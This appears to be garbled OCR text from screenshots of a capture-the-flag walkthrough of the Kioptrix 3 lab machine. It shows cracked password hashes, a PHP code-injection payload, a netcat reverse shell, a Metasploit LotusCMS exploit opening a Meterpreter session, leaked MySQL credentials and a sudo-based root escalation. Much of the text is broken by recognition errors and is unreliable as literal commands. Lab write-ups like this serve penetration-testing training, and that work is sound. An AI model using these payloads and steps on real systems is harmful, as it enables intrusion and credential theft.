| dreg | 0d3eccfb887aabd50f243b3f155¢0£85 (Mast3r)

| loneferret | 5badcaf789d3d1d09794d8f021f40f0e (starwars) |
e N  RuoSTRHMEEE +

FrMa-10-0717 TINEOT +abhle P ocallerv dev accaiinte’ dimned o CV file C-\lleorc\ar
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<{table>

<tr>{td nowrap="nowrap” valign="top” align="left” height="32">
<strong>Quick Links:</strong>&nbsp;é&nbsp;é&nbsp;
<a href="index. php”. >Home</a>&nbsp &nbsp;&nbsp;

otos</a>knbsp; knbsp; nbsp;
<!== <a href="gadmin">Adnin</a>énbsp;&nbsp; —>
</t

</form>
</center>
</td>
</tr>
<!— links _end —>
<!— recent_grid: output a 4x1 row containing recently uploaded photos —Xtr> <td colspan="2" class

<tr>
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Sign in to Gallarific

Username: admin
Password:

Come on in
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Gallarific s
Dashboard Galleries Photos Users Presentation Settings

Upgrade to the Gallarific Paid Version today to enjoy features such as photo uploads by users, password-protected galleries, bulk uploads, and more!

Welcome to Gallarific

Use these links to get started:
Recently Uploaded Photos

o Create a new galle:

* Upload a photo or bulk upload
o View comments

o Theme your gallery

‘There are no pending comments.





image51.png
PHP code injection
BED

A A

This script is vulnerable to PHP code injection.

PHP code injection s a vulnerability that allows an attacker to inject custom code into the server side scripting engine. This vulnerability occurs when an attacker can control all or part of an input strir
code.

R/ httpy/192.168.85.135/index.php , page

##Scripting (PHP_Code_Injection.script) 530

A WEFEES

URL encoded GET input page was set to ${@print(mas(acunetix_wvs_security_test))}\

Possible execution result:

63c19a6da79816b21429e5bb262dacds

A WP

GET /index. php?page=%24{%40print (mds(acunetix_wvs_security_test))}¥sc HTTP/1.1
Cookie: PHPSESSID=c1327c4763a1d776747c313bd987b091

Host: 192.168.85.135

Connection: Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/s37.21
Accept: */*
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http://192.168.85.135/index.php?page=%24{%40phpinfo)\

[ Enable Post data [ Enable Referrer

ed character in input: " (ASCII=39) state=1 in lhome/wwwikioptrix3.com/corellibirouter.php(26) : eval()'d code on fine 1

ed character in input: "' (ASCII=92) state=1 in lhomelwwwikioptrix3.com/corellibirouter.php(26) : eval()'d code on line 1

ed character in input: " (ASCII=39) state=1 in lhome/wwwikioptrix3.com/corellibirouter.php(26) : eval()'d code on line 1

Php

(php.ini) Path

System Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686
Build Date Apr 17 2009 14:11:

Server API Apache 2.0 Handler

Virtual Directory disabled

Support

Configuration File /etc/phps/apache2

Loaded Configuration

/etc/phpS/apache2/php.ini

File

Scan this dir for /etc/phps/apache2/conf.d

additional .ini files

additional . /etc/phps/apache2/conf.d/mysqlini, /etc/phpS/apache2/conf.d/mysq
parsed /etc/phpS/apache2/conf.d/pdo.ini, /etc/phpS/apache2/conf.d/pdo_mysglini
PHP API 20041225

PHP Extension 20060613

Zend Extencion 220060519
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root@kali:~# netcat -lvp 8888
listening on [any] 8888 ...

192.168.85.135: inverse host lookup failed: Unknown host

connect to [192.168.85.132] from (UNKNOWN) [192.168.85.135] 56755
id

uid=33 (www-data) gid=33(www-data) groups=33(www-data
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1 {—

Username:

Password:

Login
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msf > search LotusCMS
[!] Module database cache not built yet, using slow search

Matching Modules

Disclosure Date Rank Description

Name

pache/z
exploit/multi/http/lems php exec

2011-03-03 excellent LotusCMS 3. eval() Remote Command Execution

]

msf > use exploit/multi/http/lcms php exec
msf exploit(multi/http/lems_php_exec) > set RHOST 192.168.85.135

RHOST => 192.168.85.135





image56.png
msf exploit(multi/http/Lcms_php_exec) > set URL /
ORI => /
Bst exploit(ulti/http/Lcms php_exec) > run

]
[+] Started reverse TCP handler on 192.168.85.132:4444

(%] Using found page paran: /index.php7page=index

[+] Sending exploit ...

(%] Sending stage (37775 bytes) to 192.168.85.135

%] Meterpreter session 1 opened (192.168.85.132:4444 -> 192.168.85.135:50385) at

meterpreter > |
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id

uid=33 (www-data) gid=33(www-data) groups=33(www-data)
1s

cache

core

data
favicon.ico
gallery
gnu-1gpl. txt
index.php
modules
style
update. php
)
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'gconfig.php
gfooter. php
gfunctions. php
gheader . php
index. php
install.BAK
Login. php
Togout. php
_php

hotos

photos. php
post_comment.php
profile.php
readne . html
recent.php
register.php
scopbin
search.php
slideshow.php
tags.php
themes
version.txt
vote.php

cat gconfig.php
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cat gconfig.php

?php
error_reporting(0);
7%
A sample Gallarific configuration file. You should edit
the installer details below and save this file as gconfig.php
Do not modify anything else if you don't know what it is.
*y
[ 7/ Installer Details --=----=-s=sososoooooooooooooooooooooooooo
: // Enter the full HTTP path to your Gallarific folder below,
// such as http://www.yoursite.com/gallery
: 7/ Do NOT include a trailing forward slash
z $GLOBALS["gallarific path"] = "http://kioptrix3.com/gallery”;

$GLOBALS["gallarific mysql server]
$GLOBALS["gallarific_mysql_database
$GLOBALS["gallarific_mysql_usernane’
$GLOBALS["gallarific_mysql_password

*localhost";

gallery";
root";
fuckeyou”;

// SETting Details == -==--==-==mssamsoommoooaoooii i
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= =)

BiEE

gallery (7)

B dev_accounts
B gallarific_comments
B gallarific_galleries
B gallarific_photos

B gallarific_settings
B gallarific_stats

B gallarific_users

£3 BR3535: localhost » (51 ZRFE: gallery
E4H_JsoL SEm @S @St Bimport KIME SR Xk
E3 BfF EREe X wum
[ dev_accounts =5} @ X 2 MyISAM latin1_swedish_ci
[] gallarific comments B m X 0 MyISAM latin1_swedish_ci
[0 gallarific_galleries =5} @ X 1 MyISAM latin1_swedish ci
[0 gallarific photos 5 E @ X 3 MyISAM latin1_swedish_ci
[0 gallarific_settings 5 B @ X 24 MyISAM latin1_swedish_ci
[0 gallarific_stats 5 E @ X 15 MyISAM latin1_swedish ci
[0 gallarific_users 5 B @ X 1 MyISAM latin1_swedish _ci
7% Bit 46 MyISAM latin1_swedish_ci

T 2/ 2T/ ERE

Kilv

2.1 KB
1.0 KB
2.2 KB
2.3 KB
3.0 kB
7.0 KB
2.0 KB

19.6 KB

EZ
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dreg
Loneferret
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dreg@kioptrix3:~$
dreg@kioptrix3:~$
d;eg@K'i optrix3:~$
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lE T e LT el e
Toneferret@ioptrix3: ~$ 1s
checksec.sh companyPolicy.README
LHELRSEL .S HyrFro
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loneferret@ioptrix3:~$ cat CompanyPolicy.README

Hello new employee, i . i L. i
It is company policy here to use our newly installed software for editing, creating and viewing fi
les.
Please use the |command 'sudo ht'. i i i i
Failure to do so wilt result im you immediate termination.

DG
CEO
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File Ed1t windows Help

—I[x] Tlog window
ht 2.0.18 (POSIX) 07:26:02 on Apr 16 2011

(c) 1999-2004 stefan weyergraf

(c) 1999-2009 sebastian Biallas <sb@biallas.net>
appname = ht

config = /home/loneferret/.htcfg2

couldn't load configuration file, using defaults

lhelp 2 3open 4 5 6mode
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Toneferret@ioptrix3:~$ which ht

/usr/local/bin/ht

Toneferret@ioptrix3:~$ 1s -1 /usr/Tocal/bin/ht

-rwsr-sr-x 1 root root 2072344 2011-04-16 07:26 /usr/local/bin/ht

TAanafarra+@rv-snntrav- ¢
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/etc/sudoers
T

#
#
#
#
#
#

Defaults env_reset

/etc/sudoers

# Host alias specification

# User alias specification

# cmnd alias specification

# User privilege specification

root ALL=(ALL) ALL
Toneferret ALL=NOPASSWD:

!/usr/bin/su, /usr/local/bin/ht

his file MuST be edited with the 'visudo' command as root.

see the man page for details on how to write a sudoers file.

,/bin/bash

# uUncomment to allow members of group sudo to not need a password

# (Note that Tater entries override this, so you might need to move

# it further down)
# %sudo ALL=NOPASSWD: ALL
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loneferret@ioptrix3:/$ sudo /bin/bash
root@Kioptrix3:/# 1id

uid=0(root) gid=0(root) groups=0(root)
root@Kioptrix3:/#
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—I[x] /etc/passwd 2 1
root:x:0:0:root:/root:/bin/bash A
daemon :daemon: /usr/sbin:/bin/sh

bin:x: in:/bin:/bin/sh

sys: :sys:/dev:/bin/sh

sync:x 65534:sync:/bin:/bin/sync

games : :60:games: /usr/games:/bin/sh

man:x: 2:man:/var/cache/man:/bin/sh

Tp:x:7 1p:/var/spool/lpd:/bin/sh

mail:x mail:/var/mail:/bin/sh

news : x news:/var/spool/news:/bin/sh

uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh

proxy:x: 3:proxy:/bin:/bin/sh

www-data:x:33:33:www-data:/var/www:/bin/sh

backup:x:34:34:backup:/var/backups:/bin/sh

Tist:x:38:38:Mailing List Manager:/var/list:/bin/sh

irc:x:39:39:1ircd:/var/run/ircd:/bin/sh

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh

nobody :x:65534:65534:nobody: /nonexistent:/bin/sh

Tibuui :100:101::/var/1ib/1ibuuid: /bin/sh

dhcp:x:101:102: : /nonexistent:/bin/false

syslog:x:102:103:: /home/sysTlog:/bin/false

klog:x:103:104::/home/klog:/bin/false

B :104 108:MysqL server,,,:/var/1ib/mysql:/bin/false
:/var/run/sshd:/usr/sbin/nologin
'Ionefereferret ,,,:/home/loneferret:/bin/bash v
25:

lhelp Zsave 3open 4 S5goto 6mode 7search 8 Oquit P
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uid=0(root) gid=0(root) groups=0(root),100(users)
root@ioptrix3:~# Ts
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root@kali:~/Desktop# ifconfig
etho: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.85.132 netmask 255.255.255.0 broadcast 192.168.85
inet6 feso::9706:8319:93e:5f87 prefixlen 64 scopeid 0x20<link
ether 00:0c:29:€6:54:75 txqueuelen 1000 (Ethernet
RX packets 101393 bytes 47775250 (45.5 MiB
RX errors © dropped 0 overruns @ frame 0
TX packets 144770 bytes 11364734 (10.8 MiB
TX errors © dropped © overruns 0 carrier  collisions 0

1ags=73<UP, LOOPBACK, RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid Ox10<host>
loop txqueuelen 1000 (Local Loopback
RX packets 2165 bytes 96624 (94.3 KiB
RX errors © dropped 0 overruns @ frame ©
TX packets 2165 bytes 96624 (94.3 KiB)





